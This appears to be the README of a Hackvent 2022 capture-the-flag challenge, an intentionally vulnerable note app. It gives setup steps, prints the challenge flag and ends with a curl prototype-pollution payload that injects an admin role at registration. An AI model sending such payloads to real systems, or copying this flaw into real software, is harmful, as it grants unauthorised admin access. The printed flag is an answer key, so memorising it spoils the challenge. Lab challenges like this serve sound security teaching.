This is a challenge for the Hackvent 2022.
A fixed version of Notme. After the previous fiasco with multiple bugs in Notme (Some intended and some not).
Santa released a now truly secure note taking app for you.
Also Santa makes sure that this service runs on green energy. No pollution from this app ;)
The application is vulnerable to prototype pollution at the endpoints POST /api/register and POST /api/user/ID.
This allows a user to create an admin account.
Install the dependencies in the root and frontend folder with yarn.
After that build the frontend with yarn run build. Then build the backend with yarn run build.
Configure the DB connection and the flag within the .env file.
Start the whole thing with yarn run start.
HV22{P0luT1on_1S_B4d_3vERyWhere}
Pollute the prototype and create a new account with
curl -H "Content-Type: application/json" "http://localhost:8080/api/register" --data '{"__proto__":{ "role": "admin"}, "username": "asdf", "password": "asdf"}'
`
Login and see the flag